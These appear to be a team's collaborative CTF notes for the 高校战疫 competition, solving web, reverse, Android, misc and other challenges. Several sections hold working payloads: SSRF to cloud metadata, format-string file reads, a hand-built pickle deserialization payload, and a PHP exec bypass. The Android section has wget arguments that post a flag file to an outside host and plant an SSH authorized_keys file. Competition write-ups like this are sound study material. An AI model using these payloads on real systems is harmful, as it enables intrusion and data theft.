---
tags: ctf
---
# 高校战疫CTF
:::success
**URL**: http://gxzy.xctf.org.cn
**Start Time**: 3月7日9:00
**End Time**: 3月9日9:00
:::
---
[TOC]
---
## 签到 | Working:
## Web
### fmkq | Done: flight
可以令head为'\\'来绕过head的限制执行curl语句。
_______________⬆️指“全局变量”
将begin覆盖为:begin=%s%可以直接输出结果
主机在华为云,可以查询元数据,快点搞
<details>
怎么来的emm。。。 - 华为云元数据啊,不过好像不是预期解,我现在connect reset了,我导入公钥之后还是不能登录,艹我弄反了,但是元数据好像没什么可用的了
继续找吧,有点迷
只有公钥肯定登陆不了啊
你本地还缺个私钥
服务器拿公钥给你发个challenge,你得本地拿私钥解开才让你连啊
emmmm那为啥他光明正大地写个id_gxzy_to巨佬
(躺
草 大草原
为什么能想到华为云元数据((((((嘤 - 因为我是出题人,他们vps是在华为云上的(逃
恰饭(物理)去力
。。我觉得这不是预期,要是这能打下来,那不是ak了
http://121.37.179.47:1101/?head=\\&url=http://169.254.169.254/openstack/latest/meta_data.json&begin=%s%
公钥:
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDDDs2AWxYQy7o/oukGvm1waoz28bu5vD1LPGr5Rq7Ma6fyi3nEwZ+wBJBwnATXW20vPLkQ3SdUtBduoJXkJySvkTMi6JlEKJsSPbXlu5KQRNPXnZf3PuMMP6jcw7hdhKg/lzfy0jOMnyNIJhOWn3Z1eFE3WNy37LF0+A134Vp66JbZKSeK7agqr4YAf2mscjO28a6uqUwjj17+VL8JJr4jNbbHAj7zJIvk4FVrlwtR5TePFP6eWXblbMEu3vHbzRICG08YPlvY4r+9vxDgu3f02x1RaX2ldvBCAPFkDFA3E2H6jNEUuuzAfTvFjrtGeN6LFswlBEMn52VkcCvZNJ+n Generated-by-Nova
为啥公钥登录还要密码啊。。。。头大 <a></a> 公钥本来就不能登录吧
我突然觉得hackmd的这个解析markdown可能有洞(((
</details>
8080端口,fmkq api

哪来的vip
8080后面是个cherrypy
其实后面的path是个python的格式化字符串,而且是一个递归的格式化字符串,如果可以在中间插入../绕过过滤的话,就可以读取任意文件了
`http://121.37.179.47:1101/?head=\&url=http://127.0.0.1:8080/read/file={file!r}..%2Fetc%2Fpasswd%26vipcode=0&begin=%s%`
这样可以逃出来../但是python不能跨一个不存在的目录。。。而且如果出现了../文件内容也会被替换掉,所以得找个方法在format的时候可以转换一下字符串
...我佛了


艹
`http://121.37.179.47:1101/?head=\&url=http://127.0.0.1:8080/read/file=/etc/passwd%26vipcode=OfvRp720bDLxI4nk8TtWZJSo3MFd6iw9lcCg5KNE1zePVUsa&begin=%s%` 读/etc/passwd
我真是艹了,坑是真的多,读不了flag
/fl4g_1s_h3re_u_wi11_rua
can't read
`/app/base/readfile.py` 读readfile
~~bzd为什么他这个过滤好像没起作用?<- 但是好像也读不了啊,根目录的文件好像都不能读~~
能鸭
那些是目录
奥!!!那个fl4g_1s_h3re_u_wi11_rua是个目录不是文件
~~可以这么绕,前面的globals里面不是有current_file吗,那是个列表,从那个列表里面取值就行了,就不会出现fl4g <- 不知道为什么current_file会变,很奇怪,不过应该是可以的~~ <- 好像并8太行
`3Ad8fya45bYeUOFDkJuXpjV1tGHLxzonrCWlER2mPKS9i67w`
payload: `http://121.37.179.47:1101/?head=\&url=http://127.0.0.1:8080/read/file={file.__class__.__init__.__globals__[vip].__init__.__globals__}%26vipcode=0&begin=%s%`
`{vipfile:.2}4g_1s_h3re_u_wi11_rua/flag` 这样可以绕,但是为什么远程就internal server error<-这个我试过,不能用file:
可以file={vipfile}_1s_h3re_u_wi11_rua/fl4g,但是差一个字母
最后的payload:
`http://121.37.179.47:1101/?head=\&url=http://127.0.0.1:8080/read/file={vipfile.__class__.__init__.__globals__[current_folder_file][21]}/flag%26vipcode=3Ad8fya45bYeUOFDkJuXpjV1tGHLxzonrCWlER2mPKS9i67w&begin=%s%`
### hackme | DONE:Von
www.zip 备份文件泄漏
session的序列化引擎不一致,session反序列化触发__destruct变成admin
思路:利用session反序列化绕过管理员限制
构造反序列化后可以得到源码
``` php
<?php
require_once('./init.php');
error_reporting(0);
if (check_session($_SESSION)) {
#hint : core/clear.php
$sandbox = './sandbox/' . md5("Mrk@1xI^" . $_SERVER['REMOTE_ADDR']);
echo $sandbox;
@mkdir($sandbox);
@chdir($sandbox);
if (isset($_POST['url'])) {
$url = $_POST['url'];
if (filter_var($url, FILTER_VALIDATE_URL)) {
if (preg_match('/(data:\/\/)|(&)|(\|)|(\.\/)/i', $url)) {
echo "you are hacker";
} else {
$res = parse_url($url);
if (preg_match('/127\.0\.0\.1$/', $res['host'])) {
$code = file_get_contents($url);
if (strlen($code) <= 4) {
@exec($code);
} else {
echo "try again";
}
}
}
} else {
echo "invalid url";
}
} else {
highlight_file(__FILE__);
}
} else {
die('只有管理员才能看到我哟');
}
```
正则部分可用:
```
compress.zlib://data:@127.0.0.1/127.0.0.1?,ls
```
strlen()限制参考:https://mengsec.com/2018/10/31/HITCON-2017-babyfirst-revenge-v1-v2/
### babyjava | So Stuck: flight
https://paste.ubuntu.com/p/r3wn3c2d4B/
有fastjson 48的话应该是有反序列化的地方的,但是不知道路径 <- 艹,路径就是/you_never_know_the_path,把content-type换成application-json就可以fastsjon反序列化打了
Java1.8.0_191 java版本在这里,还是整个同版本的构造吧

~~谁有jdk1.8.0_191的环境,md找不到在哪下jdk~~
我傻了,居然不能用@type,去吃饭了,佛了
org.apache.commons.configuration2.JNDIConfiguration的prefix可以触发JNDI,然后ldap接一个反序列化可以命令执行,但是过滤了\u,prefix,type这些关键字,没什么思路了,等会再看吧
后端没有用parseObject解析,如果用了parse的话不会调用getter,导致上面的链无法触发,得再找一个纯setter触发的JNDI?
### dooog | Working: konge w1nd
pad/unpad没校验,iv还是裸着的
cbc oracle padding 去 kdc 拿到cmd server的master key
然后直接对着cmdserver冲就行了
(好麻烦啊
### webtmp | Done: konge w1nd Reclu3e(下线了)
pickle反序列化
思路:覆盖掉secret.name和secret.category就行
--> 要手写pickle,晚点再做
- https://xz.aliyun.com/t/7012
- https://github.com/eddieivan01/pker
- 带R的都不能用
- 
不会做,下线了XD <- 额,我其实收藏了,你们康康(群里pdf)
- 
- 这个好像就可以
```python
poc = (b'\x80\x03'
b'c__main__\nsecret\n'
b'}'
b'('
b'Vname\n'
b'Vqaq\n'
b'Vcategory\n'
b'Vwww\n'
b'u'
b'b'
b'0'
b'c__main__\nAnimal\n'
b')'
b'\x81'
b'}'
b'('
b'X\x04\x00\x00\x00name'
b'X\x03\x00\x00\x00qaq'
b'X\x08\x00\x00\x00category'
b'X\x03\x00\x00\x00www'
b'u'
b'b'
b'.')
```
(体力活干完了
### happyvacation
### easy_trick_gzmtu
注入点 ?time=2020'^0%23
这过滤很奇怪啊,还是说不是mysql
### sqlcheckin | DONE
几乎原题:https://gksec.com/HNCTF2019-Final.html
## Reverse
### clock | Working:
https://www.anquanke.com/post/id/181811
### 天津垓 | DONE: 武师傅
### cycle graph | DONE: Frank
入口点 sub_401080
cyclegraph.idb: https://filebin.net/x2rzng344s2o6taf
把dword_403380按照三个为一组的顺序建立一个奇怪的图结构,应当是个[3][31]的数组
```python
In [65]: cnt = 0
...: for i in range(31):
...: def check(x):
...: global cnt
...: if cnt % 3 == 0:
...: print(cnt//3, ':', x)
...: elif cnt %3 == 1:
...: print('jump1:', x//3)
...: else:
...: print('jump2:', x//3)
...: cnt += 1
...:
...: check(dword_402178[i])
...: check(3*dword_402274[i+1])
...: check(3*dword_4021F4[i+1])
...:
```


可见最终要跳到内存上的图的最后面

对于每个节点:
[0]控制怎么跳(用[1]跳还是[2]跳)
[1], [2]控制跳到哪
按照给出的数据连个图,搜一下就行
(要我出这题的话我绝对不会给整唯一通路,我必整好几条通路,然后选次短路(逃
被个细节坑了
```
0 [52, 2, 1]
2 [44, 1, 7]
7 [42, 13, 23]
13 [50, 1, 24]
24 [50, 16, 7]
16 [1, 5, 25]
5 [42, 2, 19]
19 [2, 12, 3]
3 [42, 18, 23]
18 [43, 28, 26]
26 [45, 30, 20]
30 [51, 22, 11]
11 [50, 21, 29]
21 [1, 15, 6]
6 [47, 26, 31]
```
### easyparser | DONE:fa1con
基本是调试出来的,case17是输入,输入完毕后好像是启动了个新线程,跑到case6将数据读入,qword_6C09B8里有比较的数据,调试发现(flag^ 0x63) << (2 & 0x3f),然后进行比较
```python
cmp = [ 0x90, 0x14c, 0x1c, 0xf0, 0x84, 0x3c, 0x18, 0x40, 0x40, 0xf0, 0xd0, 0x58, 0x2c, 0x8, 0x34, 0xf0, 0x114, 0xf0, 0x80, 0x2c, 0x28, 0x34, 0x8, 0xf0, 0x90, 0x44, 0x30, 0x50, 0x5c, 0x2c, 0x108,0xf0]
print(len(cmp))
str = ""
for k in range(len(cmp)):
for i in range(0,128):
num = (i ^ 0x63) << (2 & 0x3f)
if num == cmp[k]:
str += chr(i)
break
print("flag{" + str + "}")
```
flag{G0d_Bless_Wuhan_&_China_Growth!_}
### Rubik | Working
盲猜每次给出一个魔方初始状态给出一个解即可
可以本地hook出每组的答案,例如
> 能不能hoo指定初始状态?
```
case:
0x35032d6046e15022ab
UUUFFFFFFUUUFFFUUUFFFRRRFFFRRRUUURRRRRRRRRFFFRRRUUUFFFUUUUUUUUUFFFUUUUUURRRRRRUUUUUURRRFFFFFFRRRUUUFFFUUU (ans)
```
URF三个函数,应该可以根据状态正向暴搜
### fxck! | Done: Frank nen9mA0
idb: https://filebin.net/kv5w2wi9y99ovlrl
原程序等价代码:https://paste.ubuntu.com/p/wNgCYHnjh9/
大致流程:flag->preprocess->check
在`preprocess(char *flag, int len, char *processed)`中:
flag每一位只影响三位processed值,也就是说只要有了processed就可以求出flag

上面的res可认为是定值
在`check(const char *processed)`中:
op代表这个FSM的转移方式
len(op) == 625
len([221, 253] in op) == 68
check函数中构造的

jump_table指定了v5的转移方式

所以jump_table的值与dword_20810的值无关
(有点像无向图的连图
~~可以差分~~
```text
op[196] processed[cur]++, rev(res[cur]--)
op[197] processed[cur]--, rev(res[cur]++)
op[168] cur++, rev(cur--)
op[169] cur--, rev(cur++)
op[221] if(!processed[cur])jump(jump_table[cur])
op[253] jump(jump_table[cur]-1)
op[1] assert(processed[cur]==res[i++])
```

wdnmd,听到了没,wdnmd
写下面的函数的逆函数即可
https://paste.ubuntu.com/p/Xsv3ZvVqgm/
or
https://paste.ubuntu.com/p/5yJgWZszbt/
4VyhuTqRfYFnQ85Bcw5XcDr3ScNBjf5CzwUdWKVM7SSVqBrkvYGt7SSUJe
正解
https://paste.ubuntu.com/p/HzGNwQ232s/
====还是洗澡的时候适合想问题(逃)====
爆破:
~~试图爆破无果~~
正向爆破也是可行的,只是字符集里头忘了加`-`所以没爆出来
> wtm......
https://paste.ubuntu.com/p/RDZZh54yxD/

## Misc
### 武汉加油 | STUCK:
扔进binwalk发现有一个flag.exe,DIE一下有加壳,放弃逆向
怀疑是侧信道攻击。做不了做不了溜了溜了(
### 隐藏的信息 | DONE:luoqi@n/Ga1@xy
二维码补全之后得到一个假flag,图片扔进winhex发现一行''usebase64''和''togetyourflag''
将分析音频得到的结果b64即可。
音频加密方式:DTMF
http://onlinetonegenerator.com/dtmf.html
### ez_mem&usb | DONE : 冰皇
Pcap导出HTTP对象,解压进入vmem。
用对profile,vol去filescan,grep "flag",down进入img。
binwalk可以跑一下(没有必要再调vol),找到zip文件,(可能要修一下)。
发现压缩包加密,返回vol中运行cmdscan,发现有passwd字样,猜测为解压密码。
提取USBdata.txt处理之,参考keyboard scan code表(https://www.shsu.edu/csc_tjm/fall2000/cs272/scan_codes.html)
贴一下脚本:
https://paste.ubuntu.com/p/pvYBpdY6Y3/
## Android
### GetFlag | DONE: Frank

```
VGhlJTIwSVAlMjBvZiUyMHRoZSUyMHJlbW90ZSUyMHBob25lJTIwaXMlMjAyMTIuNjQuNjYuMTc3
```
启动以后会监听8080端口,每次接受一个json字符串,以一个随机数.toString()为nonce对"message" 进行 hmacsha1 hash,和check比对后输出
我还以为那串base64是hash出来的
```
➜ assets cat secret.txt | base64 -D
The%20IP%20of%20the%20remote%20phone%20is%20212.64.66.177%
➜ assets ping 212.64.66.177
PING 212.64.66.177 (212.64.66.177): 56 data bytes
64 bytes from 212.64.66.177: icmp_seq=0 ttl=48 time=82.547 ms
64 bytes from 212.64.66.177: icmp_seq=1 ttl=48 time=34.481 ms
^C
--- 212.64.66.177 ping statistics ---
2 packets transmitted, 2 packets received, 0.0% packet loss
round-trip min/avg/max/stddev = 34.481/58.514/82.547/24.033 ms
➜ assets curl 212.64.66.177:8080
46502
```
remote apk上跑了一个`MainActivity$ServerSocket_thread`类


这个key是每次连上去以后才下发的
人家给了个wget,也就是说要拼接一下
```python
from pwn import remote
def make_digest(message, key):
key = bytes(key, 'UTF-8')
message = bytes(message, 'UTF-8')
digester = hmac.new(key, message, hashlib.sha1)
return digester.hexdigest()
def execute(cmd): # getRuntime().exec("wget "+cmd);
payload = {'message': cmd}
x = remote('212.64.66.177', 8080)
payload['check'] = make_digest(payload['message'], str(int(x.recv().decode())))
x.sendline(json.dumps(payload))
x.close()
```
用了几个办法,都是本地AC,提交RE
* `--execute output_document=/root/.ssh/authorized_keys http://vps.frankli.site:1234/id_rsa.pub`
* `--post-file flag http://vps.frankli.site:1345/`
* `--execute base=http://vps.frankli.site:1234/ -i flag`
~~上述最后一种办法是可以读文件的,但是不知道flag的路径~~
比如可以读/default.prop
以上几个payload都能读
`/data/data/com.xuanxuan.getflag/files/flag`
`execute('--post-file /data/data/com.xuanxuan.getflag/files/flag http://bin.frankli.site/g5bvokl2')`
`flag{this_wget_is_from_termux_and_I_move_some_dynamic_lib_to_systemlib_to_run_it}`
## crypto
### lancet | Working
rsa lsb 泄露,但这个输入太坑了
### NHP | Working
[论文](https://www.nccgroup.trust/globalassets/our-research/us/whitepapers/2018/rohnp-return-of-the-hidden-number-problem.pdf)
## pwn
### easyheap | DONE
### woodenbox | DONE
house of Roman
## 区块链
### OwnerMoney | Working :冰皇
在 ethervm.io/decompile 中反编译合约地址字节码:

脑子可能锈住了…还没看出来洞

最近几次交易(能看到的)都是调用的transfer(),迷惑…